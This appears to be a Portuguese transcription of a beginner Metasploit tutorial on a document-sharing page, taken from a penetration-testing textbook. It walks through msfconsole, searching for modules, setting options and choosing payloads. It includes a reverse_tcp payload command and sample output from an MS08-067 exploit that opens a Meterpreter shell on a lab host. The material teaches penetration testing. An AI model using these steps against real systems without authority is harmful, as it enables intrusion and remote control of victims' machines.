Introdução ao Metasploit Framework

Documentos relacionados
Metasploit Sabe o que é?

Metasploit Hands On. Rafael Soares Ferreira Clavis Segurança da Informação

Armitage, ferramenta de gerenciamento de ataque cibernético

Cross-Site Scripting (XSS): Entendendo o conceito e seus tipos

Formação em Segurança Cibernética. Sessão 4 Explorando vulnerabilidades em redes

NSA HACKING. Jonathan Messias Washington Silas

Introdução ao Burp Suite

Dectando falha no IMAP para explorar com exploits do Metasploit. Inj3cti0n P4ck3t

Tutoriais de Segurança de Redes

Laboratório Usando Wireshark para Examinar Quadros Ethernet

Microsoft Word 2010 NORMA ABNT para Trabalhos Acadêmicos Conceitos Básicos

Informações que podem ser coletadas durante esta fase:

Gerando um programa executável a partir de um módulo Python

Escalação de privilégio com PowerShell. Introdução. O mundo do PowerShell. Maximoz 16 de janeiro de de fevereiro de 2016 Deixe um comentário

MANUAL DE PUBLICAÇÃO NO PORTAL CAMPUS MATÃO

Android e Bancos de Dados

Instalação do Oracle VM Virtual Box


Laboratório - Uso do Wireshark para examinar uma captura UDP DNS

Alterando Configurações do Windows

Ferramentas de Pentest

Analisar e demonstrar a aplicação da ferramenta Metasploit. Vmware Player, Putty, Backtrack, Windows Server 2003, CentOS e Metasploit.

O projeto Metasploit é um framework que foi criado em 2003 por HD Moore e é uma plataforma que permite a verificação do estado da segurança dos

Packet Tracer - Navegando no IOS

Código PD0017. Este documento ter por objetivo auxiliar o usuário no entendimento e utilização do Nexus.

Adicionando Imagens no Formulário

Laboratório 2. Configurando o Serviço DHCP

INSTALANDO O HYPER-V EM SISTEMAS OPERACIONAIS WINDOWS


Laboratório Uso do Wireshark para examinar quadros Ethernet

Manual de acesso. a rede cabeada UFPR. UFPR aspec

GUIA DE CONFIGURAÇÃO. Conexões VPN SSL (Rede a Rede)

Manual de instalação e configuração

MANUAL DE USO DO COMUNICADOR INSTANTÂNEO

Laboratório - Uso do Wireshark para observar o handshake triplo do TCP

Desenvolvimento de softwares e aplicações web

Guia de Instalação. 1. Guia de Instalação do Nintex Workflow 2010

Executar uma macro clicando em um botão da Barra de Ferramentas de Acesso Rápido

Para que a Solicitação de Assistência Remota tenha êxito é necessário desabilitar o Firewall do Windows XP SP2.

Disciplina: Segurança de Redes. Professor: Roitier Campos

Jessey Bullock Jeff T. Parker

Configuração do Samba no Metasys (Modo Gráfico)

COLOCANDO A REDE PARA FUNCIONAR

Procedimentos para configuração de WDS With AP

Fábrica de Noobs Reloaded Sistemas Operacionais Kali Linux

Particionamento, formatação de discos rígidos, testes de desempenho e estresse do sistema no Windows 7

SEGURANÇA DE SISTEMAS E REDES. TÁSSIO JOSÉ GONÇALVES GOMES

Levantamento de informação (Fingerprint)

1. Capturando uma transferência TCP em massa de seu computador para um computador servidor remoto

Packet Tracer - Navegação no IOS

Requisitos do sistema

Como enviar dados para o MMM19

Guia Primeiros Passos da Bomgar B400

GRE sobre o IPsec com o EIGRP a distribuir com um exemplo de configuração do hub e das sites remoto múltiplo

GUIA DE CONFIGURAÇÃO. Conexões VPN SSL (Rede a Rede)

GUIA DE CONFIGURAÇÃO. VPN SSL Client to Server

Guia de Instalação. Versão Fevereiro 2013

Tutorial para o aluno Moodle

MANUAL DE INSTALAÇÃO DOIS FIREBIRD NO MESMO COMPUTADOR

Este é o segundo modulo, nele abordaremos os métodos de gerenciamento do Windows Server 2008.

Passo 1: Acesso ao site. Planilhas Google: como fazer planilhas melhores que Excel

Conectando um PC na console de um Roteador

Manual Converte-MV S_Line

Instalação ou Atualização do Aplicativo GigaERP (procedimento via instaladores)

Manual do Utilizador. Share Point One Drive

A instalação e desinstalação do agente de usuário de Sourcefire

Criando laboratórios de teste e cobaias virtuais

Tutorial Ambiente, instalação e começando um novo projeto Django

Ambiente de Programação, rastreamento e entrada de dados. MCG114 Programação de Computadores I. Interpretador de Comandos. Interpretador de Comandos

Nota de Aplicação: Utilização do Servidor Web MS IIS com BlueWave. Sumário

Testes de Penetração: Explorador de Portas

Introdução ao C# com o Microsoft Visual Studio Community 2015

Laboratório Configuração do TCP/IP em uma Rede de PCs

Personalizando o seu PC

Configurando uma rede privado para privado de túnel IPSec de roteador com NAT e uma estática

Análise matricial de estruturas usando Matlab

GUIA RÁPIDO DE UTILIZAÇÃO KIT MERCURIOIV OSCILOSCÓPIO E GERADOR DE SINAIS

Trabalho 10: Simulação de Roteador IPv6

Hands-on: Implantação de monitoramento por Sflow

O Terminal Server nos fornece a possibilidade de vários usuários utilizarem o mesmo sistema ao mesmo tempo.

O Manual do Remote Desktop Connection. Brad Hards Urs Wolfer Tradução: José Pires

Guia para o iniciante no Orthanc Para físicos-médicos, médicos e clínicos gerais.

MANUAL DO INSTALADOR DE CURSOS VERSÃO (64 bits) - BETA

Como atualizar o seu tablet ou PC TOSHIBA Windows para o Windows 10

Transcrição:

Introdução ao Metasploit Framework Veremos o Metasploit Framework, uma ferramenta que tornou-se padrão para pentesters. Lançado pela primeira vez em 2003, Metasploit alcançou status na comunidade de segurança. Embora Metasploit agora seja de propriedade da empresa de segurança Rapid7, uma edição de código aberto está ainda disponível, com o desenvolvimento em grande parte impulsionado pela comunidade de segurança. A arquitetura modular e flexível do Metasploit ajuda os desenvolvedores de forma eficiente a criar exploits que trabalham de acordo com as novas vulnerabilidades quando são descobertas. Como você verá, Metasploit é intuitiva e fácil de usar, e oferece uma forma centralizada para executar código confiável de exploração que foi analisado com precisão pela comunidade de segurança. Por que usar o Metasploit? Digamos que você descobriu uma vulnerabilidade no ambiente de seu cliente usando o sistema Windows XP no 192.168.20.10 e está faltando Microsoft boletim de segurança MS08-067. Como um pentester, é sua função explorar esta vulnerabilidade, se possível, e avaliar o risco de compromete-lo. Uma abordagem pode ser a de criar, em seu laboratório um sistema Windows XP, que também está faltando este patch, tentar disparar a vulnerabilidade, e desenvolver um trabalho exploração. Mas o desenvolvimento de exploits na mão leva tempo e habilidade, e a janela de oportunidade para o seu pentest pode estar fechando. Você poderia, em vez disto, procurar o código que explora a

vulnerabilidade na Internet. Sites como o Packet Storm Security, SecurityFocus e Exploit-DB fornecem repositórios de exploits conhecidos. Mas esteja avisado: Nem todos os códigos de exploits públicos fazem o que ele deveriam fazer. Alguns exploits podem destruir o sistema alvo ou até mesmo atacar seu próprio sistema, em vez do alvo. Você deve estar sempre vigilante ao executar qualquer coisa que você encontrar online e ler o código com cuidado antes de confiar nele. Além disso, os exploits públicos que você encontrar pode não atender às suas necessidades logo de cara. Você pode precisar fazer algum trabalho adicional para portá-las para o seu ambiente de pentest. Seja desenvolver um exploit do zero ou usar um público como base, ainda vai precisar de ter o exploit para trabalhar em seu pentest. Nosso tempo provavelmente será melhor gasto em tarefas que são difíceis de automatizar e, felizmente, podemos usar Metasploit para fazer exploração de vulnerabilidades conhecidas, tais como a MS08-067 de forma rápida e sem atrasos. Iniciando o Metasploit No Kali Linux, o Metasploit pode iniciar em qualquer lugar no sistema. Mas antes de começar Metasploit, você vai querer começar o banco de dados PostgreSQL, que Metasploit vai usar para acompanhar o que você faz. root@kali:~# service postgresql start Agora você está pronto para iniciar o serviço Metasploit. Este comando cria um usuário do PostgreSQL chamado msf3 e um banco de dados correspondente para armazenar nossos dados. Ele também começa a chamada de procedimento remoto do Metasploit (RPC) do servidor e servidor web. Existem várias interfaces para usar Metasploit. Vamos usar

msfconsole, o console baseado em texto Metasploit e Msfcli, a interface de linha de comando. De qualquer interface pode ser usada para executar módulos Metasploit. Inicie o console inserindo msfconsole. root@kali:~# msfconsole Não se assuste se msfconsole parecer travar por um ou dois minutos; O Metasploit está carregando os módulos na hora. Assim que terminar, será exibida uma arte ASCII, uma lista de versão e outros detalhes, e um prompt msf>. Msfconsole Veja que ao iniciar o Metasploit, ele informa a quantidade de exploits, módulos auxiliares e outras coisas. Ao longo do tempo isto vai crescendo de acordo com que novas vulnerabilidades são descobertas e a comunidade desenvolve. Caso você tenha dúvidas sobre o que fazer dentro da

ferramenta, você pode consultar o help. Caso queira mais detalhes sobre um comando específico, use o help <comando>. msf > help route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local... Procurando por módulos Após realizar uma análise de vulnerabilidade e identificar mais detalhes sobre as falhas do sistema, podemos partir para a busca no Metasploit para encontrar um módulo que explore esta vulnerabilidade em particular. Temos algumas opções. Normalmente, uma simples busca no Google vai encontrar o que você precisa, mas Metasploit também tem um banco de dados online de módulos e uma função embutida de pesquisa que você pode usar para pesquisar pelo módulo correto. O banco de dados on-line de módulos Você pode usar a página de pesquisa Metasploit para combinar módulos Metasploit com as vulnerabilidades pelo número Common Vulnerabilities and Exposures (CVE), Open Sourced Vulnerability Database (OSVDB) ID, Bugtraq ID ou Microsoft Security Bulletin, ou você pode pesquisar o texto completo sobre as informações do módulo para uma string.

Rapid7 Metasploit Module Database Busca embutida Você também pode usar a busca embutida no Metasploit para achar o módulo pelo nome usando o comando search <string>: Metasploit Busca por módulo Após encontrar um módulo que desejamos, podemos obter mais detalhes sobre ele usando o comando info <nome do módulo>, veja:

Metasploit Comando info Após achar o módulo que deseja usar, você usa o comando use <nome do módulo> Metasploit Comando use Configurando as opções do módulo Após escolher qual módulo iremos usar, temos que definir alguns parâmetros no Metasploit. Para saber quais parâmetros são obrigatórios e opcionais para definirmos, antes de executá-lo, devemos usar o comando show options.

Metasploit Comando show options Alguns parâmetros já vem com valores padrões. Perceba também que existe uma coluna Required que informa quais campos são obrigatórios e precisam de um valor. No caso do nosso exploit escolhido, precisamos definir os campos SRVHOST e SRVPORT, já o SSL, SSLCert e URIPATH são opcionais. Veremos cada um deles abaixo e outros possíveis campos que podem aparecer, dependendo de cada módulo que você escolher. SRVHOST É a máquina que estará esperando pelos dados (ouvindo). Deve inserir um endereço de uma máquina local ou 0.0.0.0. Neste caso, seria a sua máquina atacante. SRVPORT A porta local que está aberta ouvindo as informações. SSL Informe se será necessário negociar uma conexão SSL SSLCert O caminho para o certificado personalizado que foi gerado. Por padrão ele gera um aleatoriamente.

URIPATH A URI usada para este exploit. Por padrão ele gera um aleatoriamente. RHOST Outros exploits podem utilizar este parâmetro, o que significa qual é o host alvo que desejamos fazer o exploit. Este parâmetro é obrigatório (se o exploit escolhido tiver), pois é nele quem você deve apontar para que o Metasploit possa atacar. RPORT Refer-se a porta da máquina alvo. Dependendo do exploit escolhido, ele deverá vir com uma porta padrão. Se for um exploit que utiliza a Web, vai pela porta 80. Caso seja um exploit para o serviços SMB do Windows, será pela porta 445, e assim por diante. Exploit Target Na imagem exibida, temos que o parâmetro está definido como 0 Automatic Targeting. Neste caso, ele serve para definir qual é o tipo e versão do sistema operacional. Você pode usar o comando show targets para listar quais as opções disponíveis no exploit. Após listar e você identificar qual é o S.O. e a versão, podemos usar o comando set target <número>. Caso você não saiba com certeza qual é a versão do sistema operacional, você pode deixar que o Metasploit faça o trabalho de reconhecimento e escolha a melhor opção de forma automática baseada no resultado.

Payloads (ou Shellcode) Baseado no que lemos após o comando show options, definimos todos os parâmetros para usar o exploit, mas ainda precisamos informar ao Metasploit o que ele deve fazer de fato, e para isto devemos usar os payloads. Estão disponíveis diversos payloads na ferramenta, que vão desde simples comandos do Windows até o Metasploit Meterpreter. Escolha um payload compatível e o Metasploit criará uma string do exploit, incluindo o código para disparar a vulnerabilidade e o payload para rodar depois que o exploit for bem sucedido. Procurando por payloads compatíveis Use o comando show payloads para que ele possa exibir uma lista dos que são compatíveis. Caso você esqueça de definir um payload, o Metasploit irá utilizar o que estiver marcado como padrão, o que não garante que vai funcionar com o seu sistema alvo. É importante que você defina manualmente qual payload vai usar. Metasploit show payloads Para definir qual payload você usará, envie o comando set payload <nome do payload com endereço>. Por exemplo:

msf exploit(ms16_051_vbscript) > set payload windows/x64/shell/reverse_tcp payload => windows/x64/shell/reverse_tcp Executando o exploit Para enviarmos o nosso exploit com o payload, precisamos usar o comando exploit. Após isso você verá um resultado semelhante a este, caso seja bem sucedido. msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.20.9:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 - lang:english [*] Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.20.10 [*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at 2015-08-31 07:37:05-0400 meterpreter > Neste exemplo, foi possível obter um sessão com o meterpreter (meta-interpreter), que é uma parte importante do Metasploit. Com ele, você pode fazer tudo na sua máquina alvo através de comando. Para sair do meterpreter, use o comando exit. Tipos de shells Na lista de payloads compatíveis mostrado no show payloads, você vê uma gama de opções, incluindo shells de comando, Meterpreter, uma speech API ou a execução de um único comando do Windows. Meterpreter ou outras formas de shells, acabam sendo de duas categorias: bind e reverso (reverse).

Bind shells Uma instrução de bind shell diz para a máquina alvo para abrir uma linha de comando e escutar na porta local. A máquina atacante então se conecta na máquina alvo na porta que está aberta. Entretanto, com o advento dos firewalls, a efetividade dos bind shells tem caído porque firewall de correlação bloqueará o tráfego para portas aleatórias como a 4444. Reverse shells Um shell reverso, por outro lado, ativamente envia uma conexão de volta para a máquina atacante, a qual está esperando por uma conexão de entrada. Neste caso, nossa máquina atacante está com uma porta aberta e escutando por uma conexão vinda da nossa máquina alvo, porque é uma conexão reversa, e é mais provável de ser feita através de um firewall. Quer aprender mais Metasploit? Learn Ethical Expert Metasploit Metasploit Framework Hacking With Kali, Penetration Testing for Beginners Nmap and Metasploit! Series Fonte: Weidman, Georgia. Penetration Testing: A Hands-On Introduction to Hacking. 2014